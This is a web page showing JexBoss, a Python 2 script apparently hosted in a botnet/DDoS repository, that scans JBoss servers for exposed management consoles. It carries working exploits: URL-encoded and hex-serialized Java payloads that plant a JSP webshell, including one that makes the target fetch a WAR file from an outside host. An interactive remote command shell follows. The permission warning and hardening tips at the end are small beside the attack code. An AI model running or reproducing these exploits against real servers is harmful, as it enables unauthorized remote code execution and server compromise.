Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/JBOSS FULL/jexboss_vulnscanner.py
5038 views
1
# coding: utf-8
2
3
# JexBoss v1.0. @autor: João Filho Matos Figueiredo ([email protected])
4
5
# Updates: https://github.com/joaomatosf/jexboss
6
7
# Free for distribution and modification, but the authorship should be preserved.
8
9
10
11
12
13
import httplib, sys, urllib, os, time
14
15
from urllib import urlencode
16
17
18
19
RED = '\x1b[91m'
20
21
RED1 = '\033[31m'
22
23
BLUE = '\033[94m'
24
25
GREEN = '\033[32m'
26
27
BOLD = '\033[1m'
28
29
NORMAL = '\033[0m'
30
31
ENDC = '\033[0m'
32
33
34
35
def getHost(url):
36
37
tokens = url.split("://")
38
39
if len(tokens) == 2: #foi fornecido protocolo
40
41
return tokens[1].split(":")[0]
42
43
else:
44
45
return tokens.split(":")[0]
46
47
48
49
def getProtocol(url):
50
51
tokens = url.split("://")
52
53
if tokens[0] == "https":
54
55
return "https"
56
57
else:
58
59
return "http"
60
61
62
63
def getPort(url):
64
65
token = url[6:].split(":")
66
67
if len(token) == 2:
68
69
return token[1]
70
71
elif getProtocol(url) == "https":
72
73
return 443
74
75
else:
76
77
return 80
78
79
80
81
def getConnection(url):
82
83
if getProtocol(url) == "https":
84
85
return httplib.HTTPSConnection(getHost(url), getPort(url))
86
87
else:
88
89
return httplib.HTTPConnection(getHost(url), getPort(url))
90
91
92
93
94
95
def getSuccessfully(url, path):
96
97
result = 404
98
99
time.sleep(5)
100
101
conn = getConnection(url)
102
103
conn.request("GET", path)
104
105
result = conn.getresponse().status
106
107
if result == 404:
108
109
conn.close()
110
111
time.sleep(7)
112
113
conn = getConnection(url)
114
115
conn.request("GET", path)
116
117
result = conn.getresponse().status
118
119
conn.close()
120
121
return result
122
123
124
125
def checkVul(url):
126
127
128
129
print ( GREEN +" ** Checking Host: %s **\n" %url )
130
131
132
133
path = { "jmx-console" : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
134
135
"web-console" : "/web-console/ServerInfo.jsp",
136
137
"JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}
138
139
140
141
for i in path.keys():
142
143
try:
144
145
print GREEN + " * Checking %s: \t" %i + ENDC,
146
147
conn = getConnection(url)
148
149
conn.request("HEAD", path[i])
150
151
path[i] = conn.getresponse().status
152
153
if path[i] == 200 or path[i] == 500:
154
155
print RED + "[ VULNERABLE ]" + ENDC
156
157
else: print GREEN + "[ OK ]"
158
159
conn.close()
160
161
except:
162
163
print RED + "\n * An error ocurred while contaction the host %s\n" %url + ENDC
164
165
path[i] = 505
166
167
168
169
return path
170
171
172
173
def autoExploit(url, type):
174
175
176
177
# exploitJmxConsoleFileRepository: tested and working in jboss 4 and 5
178
179
# exploitJmxConsoleMainDeploy: tested and working in jboss 4 and 6
180
181
# exploitWebConsoleInvoker: tested and working in jboss 4
182
183
# exploitJMXInvokerFileRepository: tested and working in jboss 4 and 5
184
185
186
187
print GREEN + ("\n * Sending exploit code to %s. Wait...\n" %url)
188
189
result = 505
190
191
if type == "jmx-console":
192
193
result = exploitJmxConsoleFileRepository(url)
194
195
if result != 200 and result != 500:
196
197
result = exploitJmxConsoleMainDeploy(url)
198
199
elif type == "web-console":
200
201
result = exploitWebConsoleInvoker(url)
202
203
elif type == "JMXInvokerServlet":
204
205
result = exploitJMXInvokerFileRepository(url)
206
207
208
209
if result == 200 or result == 500:
210
211
print GREEN + " * Successfully deployed code! Starting command shell, wait...\n" + ENDC
212
213
shell_http(url, type)
214
215
else:
216
217
print (RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n"
218
219
" Waiting for 7 seconds...\n "+ ENDC)
220
221
time.sleep(7)
222
223
224
225
def shell_http(url, type):
226
227
if type == "jmx-console" or type == "web-console":
228
229
path = '/jbossass/jbossass.jsp?'
230
231
elif type == "JMXInvokerServlet":
232
233
path = '/shellinvoker/shellinvoker.jsp?'
234
235
236
237
conn = getConnection(url)
238
239
conn.request("GET", path)
240
241
conn.close()
242
243
time.sleep(7)
244
245
resp = ""
246
247
#clear()
248
249
print " * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n"
250
251
print RED+" * "+url+": \n"+ENDC
252
253
headers = {"User-Agent" : "jexboss"}
254
255
for cmd in ['uname -a', 'cat /etc/issue', 'id']:
256
257
conn = getConnection(url)
258
259
cmd = urlencode({"ppp": cmd})
260
261
conn.request("GET", path+cmd, '', headers)
262
263
resp += " "+conn.getresponse().read().split(">")[1]
264
265
print resp,
266
267
268
269
while 1:
270
271
print BLUE + "[Type commands or \"exit\" to finish]"
272
273
cmd=raw_input("Shell> "+ENDC)
274
275
#print ENDC
276
277
if cmd == "exit":
278
279
break
280
281
conn = getConnection(url)
282
283
cmd = urlencode({"ppp": cmd})
284
285
conn.request("GET", path+cmd, '', headers)
286
287
resp = conn.getresponse()
288
289
if resp.status == 404:
290
291
print RED+ " * Error contacting the commando shell. Try again later..."
292
293
conn.close()
294
295
continue
296
297
stdout = ""
298
299
try:
300
301
stdout = resp.read().split("pre>")[1]
302
303
except:
304
305
print RED+ " * Error contacting the commando shell. Try again later..."
306
307
if stdout.count("An exception occurred processing JSP page") == 1:
308
309
print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC
310
311
else: print stdout,
312
313
conn.close()
314
315
316
317
def exploitJmxConsoleMainDeploy(url):
318
319
# MainDeployer
320
321
# does not work in jboss5 (bug in jboss5)
322
323
# shell in link
324
325
# /jmx-console/HtmlAdaptor
326
327
jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
328
329
payload =( "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"
330
331
"=MainDeployer&methodIndex=19&arg0="+jsp)
332
333
print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "
334
335
"\n available on: "+jsp +ENDC)
336
337
conn = getConnection(url)
338
339
conn.request("HEAD", payload)
340
341
result = conn.getresponse().status
342
343
conn.close()
344
345
return getSuccessfully(url, "/jbossass/jbossass.jsp")
346
347
348
349
def exploitJmxConsoleFileRepository(url):
350
351
# DeploymentFileRepository
352
353
# tested and work in jboss4, 5.
354
355
# doest not work in jboss6
356
357
# shell jsp
358
359
# /jmx-console/HtmlAdaptor
360
361
jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"
362
363
"%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"
364
365
"%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
366
367
"%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"
368
369
"%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"
370
371
"%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"
372
373
"%75%61%6C%73%28%22%6A%65%78%62%6F%73%73%22%29%29%20%7B%20%50%72"
374
375
"%6F%63%65%73%73%20%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74"
376
377
"%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%72%65%71%75%65%73"
378
379
"%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29"
380
381
"%29%3B%20%44%61%74%61%49%6E%70%75%74%53%74%72%65%61%6D%20%64%69"
382
383
"%73%20%3D%20%6E%65%77%20%44%61%74%61%49%6E%70%75%74%53%74%72%65"
384
385
"%61%6D%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29"
386
387
"%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72%20%3D%20%64%69%73%2E"
388
389
"%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%20%64"
390
391
"%69%73%72%20%21%3D%20%6E%75%6C%6C%20%29%20%7B%20%6F%75%74%2E%70"
392
393
"%72%69%6E%74%6C%6E%28%64%69%73%72%29%3B%20%64%69%73%72%20%3D%20"
394
395
"%64%69%73%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%25%3E" )
396
397
398
399
payload =("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
400
401
"DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
402
403
"jbossass.war&argType=java.lang.String&arg1=jbossass&argType=java.lang.St"
404
405
"ring&arg2=.jsp&argType=java.lang.String&arg3="+jsp+"&argType=boolean&arg4=True")
406
407
408
409
conn = getConnection(url)
410
411
conn.request("HEAD", payload)
412
413
result = conn.getresponse().status
414
415
conn.close()
416
417
return getSuccessfully(url, "/jbossass/jbossass.jsp")
418
419
420
421
def exploitJMXInvokerFileRepository(url):
422
423
# tested and work in jboss4, 5
424
425
# MainDeploy, shell in data
426
427
# /invoker/JMXInvokerServlet
428
429
payload = ( "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"
430
431
"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"
432
433
"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"
434
435
"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"
436
437
"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"
438
439
"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"
440
441
"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"
442
443
"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"
444
445
"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"
446
447
"\x78\x70\xe3\x2c\x60\xe6\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"
448
449
"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"
450
451
"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"
452
453
"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x02\xc6"
454
455
"\x00\x00\x02\xbe\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61"
456
457
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90"
458
459
"\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04"
460
461
"\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65"
462
463
"\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f"
464
465
"\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c\x6a"
466
467
"\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69"
468
469
"\x63\x65\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c"
470
471
"\x65\x52\x65\x70\x6f\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73"
472
473
"\x74\x6f\x72\x65\x75\x71\x00\x7e\x00\x00\x00\x00\x00\x05\x74\x00"
474
475
"\x10\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72\x2e\x77\x61"
476
477
"\x72\x74\x00\x0c\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72"
478
479
"\x74\x00\x04\x2e\x6a\x73\x70\x74\x01\x79\x3c\x25\x40\x20\x70\x61"
480
481
"\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e"
482
483
"\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a"
484
485
"\x22\x25\x3e\x3c\x70\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71"
486
487
"\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65"
488
489
"\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c"
490
491
"\x20\x26\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48"
492
493
"\x65\x61\x64\x65\x72\x28\x22\x75\x73\x65\x72\x2d\x61\x67\x65\x6e"
494
495
"\x74\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x6a\x65\x78\x62"
496
497
"\x6f\x73\x73\x22\x29\x20\x29\x20\x7b\x20\x50\x72\x6f\x63\x65\x73"
498
499
"\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"
500
501
"\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28"
502
503
"\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d"
504
505
"\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x29\x3b\x20\x44\x61"
506
507
"\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x20\x64\x69"
508
509
"\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74\x61\x49\x6e\x70\x75"
510
511
"\x74\x53\x74\x72\x65\x61\x6d\x28\x70\x2e\x67\x65\x74\x49\x6e\x70"
512
513
"\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x3b\x20\x53\x74\x72"
514
515
"\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72"
516
517
"\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65"
518
519
"\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20"
520
521
"\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28"
522
523
"\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69"
524
525
"\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20"
526
527
"\x7d\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
528
529
"\x2e\x42\x6f\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee"
530
531
"\x02\x00\x01\x5a\x00\x05\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72"
532
533
"\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74"
534
535
"\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00"
536
537
"\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61"
538
539
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
540
541
"\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
542
543
"\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
544
545
"\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
546
547
"\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
548
549
"\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
550
551
"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
552
553
"\x00\x04\x70\x78")
554
555
conn = getConnection(url)
556
557
headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
558
559
"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
560
561
conn.request("POST", "/invoker/JMXInvokerServlet", payload, headers)
562
563
response = conn.getresponse()
564
565
result = response.status
566
567
if result == 401:
568
569
print " Retrying..."
570
571
conn.close()
572
573
conn.request("HEAD", "/invoker/JMXInvokerServlet", payload, headers)
574
575
response = conn.getresponse()
576
577
result = response.status
578
579
if response.read().count("Failed") > 0:
580
581
result = 505
582
583
conn.close
584
585
return getSuccessfully(url, "/shellinvoker/shellinvoker.jsp")
586
587
588
589
def exploitWebConsoleInvoker(url):
590
591
# does not work in jboss5 (bug in jboss5)
592
593
# MainDeploy, shell in link
594
595
# /web-console/Invoker
596
597
#jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
598
599
#jsp = "\\x".join("{:02x}".format(ord(c)) for c in jsp)
600
601
#jsp = "\\x" + jsp
602
603
payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e"
604
605
"\x6a\x62\x6f\x73\x73\x2e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65"
606
607
"\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f\x74\x65\x4d\x42\x65\x61\x6e"
608
609
"\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f\xa3\x7a\x74\xae"
610
611
"\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e\x61"
612
613
"\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f"
614
615
"\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73"
616
617
"\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f"
618
619
"\x62\x6a\x65\x63\x74\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75"
620
621
"\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"
622
623
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72\x67\x65"
624
625
"\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a"
626
627
"\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f"
628
629
"\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06"
630
631
"\x64\x65\x70\x6c\x6f\x79\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61"
632
633
"\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58"
634
635
"\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
636
637
"\x2a"
638
639
#link
640
641
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x6f\x61\x6f\x6d\x61"
642
643
"\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x2f\x72\x6e\x70\x2f\x6a\x62\x6f"
644
645
"\x73\x73\x61\x73\x73\x2e\x77\x61\x72"
646
647
#end
648
649
"\x75\x72\x00\x13\x5b"
650
651
"\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e"
652
653
"\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00"
654
655
"\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"
656
657
"\x53\x74\x72\x69\x6e\x67\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e"
658
659
"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63"
660
661
"\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00"
662
663
"\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65"
664
665
"\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65"
666
667
"\x70\x6c\x6f\x79\x65\x72\x78")
668
669
conn = getConnection(url)
670
671
headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
672
673
"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
674
675
conn.request("POST", "/web-console/Invoker", payload, headers)
676
677
response = conn.getresponse()
678
679
result = response.status
680
681
if result == 401:
682
683
print " Retrying..."
684
685
conn.close()
686
687
conn.request("HEAD", "/web-console/Invoker", payload, headers)
688
689
response = conn.getresponse()
690
691
result = response.status
692
693
conn.close
694
695
return getSuccessfully(url, "/jbossass/jbossass.jsp")
696
697
698
699
700
701
def clear():
702
703
if os.name == 'posix':
704
705
os.system('clear')
706
707
elif os.name == ('ce', 'nt', 'dos'):
708
709
os.system('cls')
710
711
712
713
def checkArgs(args):
714
715
if len(args) < 2 or args[1].count('.') < 1:
716
717
return 1,"You must provide the host name or IP address you want to test."
718
719
elif len(args[1].split('://')) == 1:
720
721
return 2, 'Changing address "%s" to "http://%s"' %(args[1], args[1])
722
723
elif args[1].count('http') == 1 and args[1].count('.') > 1:
724
725
return 0, ""
726
727
else:
728
729
return 1, 'Parâmetro inválido'
730
731
732
733
def banner():
734
735
clear()
736
737
print (RED1+"\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
738
739
" | |\n"
740
741
" | @author: João Filho Matos Figueiredo |\n"
742
743
" | @contact: [email protected] |\n"
744
745
" | |\n"
746
747
" | @update: https://github.com/joaomatosf/jexboss |\n"
748
749
" #______________________________________________________#\n\n" )
750
751
752
753
banner()
754
755
# check python version
756
757
if sys.version_info[0] == 3:
758
759
print (RED + "\n * Not compatible with version 3 of python.\n"
760
761
" Please run it with version 2.7 or lower.\n\n"
762
763
+BLUE+" * Example:\n"
764
765
" python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC )
766
767
sys.exit(1)
768
769
770
771
# check Args
772
773
status, message = checkArgs(sys.argv)
774
775
if status == 0:
776
777
url = sys.argv[1]
778
779
elif status == 1:
780
781
print RED + "\n * Error: %s" %message
782
783
print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC
784
785
sys.exit(status)
786
787
elif status == 2:
788
789
url = ''.join(['http://',sys.argv[1]])
790
791
792
793
# check vulnerabilities
794
795
mapResult = checkVul(url)
796
797
798
799
# performs exploitation
800
801
for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:
802
803
if mapResult[i] == 200 or mapResult[i] == 500:
804
805
print BLUE + ("\n\n * Do you want to try to run an automated exploitation via \""+BOLD+i+NORMAL+"\" ?\n"
806
807
" This operation will provide a simple command shell to execute commands on the server..\n"
808
809
+RED+" Continue only if you have permission!" +ENDC)
810
811
if raw_input(" yes/NO ? ").lower() == "yes":
812
813
autoExploit(url, i)
814
815
816
817
# resume results
818
819
if mapResult.values().count(200) > 0:
820
821
banner()
822
823
print RED+ " Results: potentially compromised server!" +ENDC
824
825
print (GREEN+" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n\n"
826
827
" Recommendations: \n"
828
829
" - Remove web consoles and services that are not used, eg:\n"
830
831
" $ rm web-console.war\n"
832
833
" $ rm http-invoker.sar\n"
834
835
" $ rm jmx-console.war\n"
836
837
" $ rm jmx-invoker-adaptor-server.sar\n"
838
839
" $ rm admin-console.war\n"
840
841
" - Use a reverse proxy (eg. nginx, apache, f5)\n"
842
843
" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
844
845
" - Search vestiges of exploitation within the directories \"deploy\" or \"management\".\n\n"
846
847
" References:\n"
848
849
" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
850
851
" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
852
853
"\n"
854
855
" - If possible, discard this server!\n\n"
856
857
" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n" )
858
859
elif mapResult.values().count(505) == 0:
860
861
print ( GREEN+ "\n\n * Results: \n"
862
863
" The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)
864
865
866
867
# infos
868
869
print (ENDC+" * Info: review, suggestions, updates, etc: \n"
870
871
" https://github.com/joaomatosf/jexboss\n"
872
873
" [email protected]\n")
874
875
876
877
print ENDC
878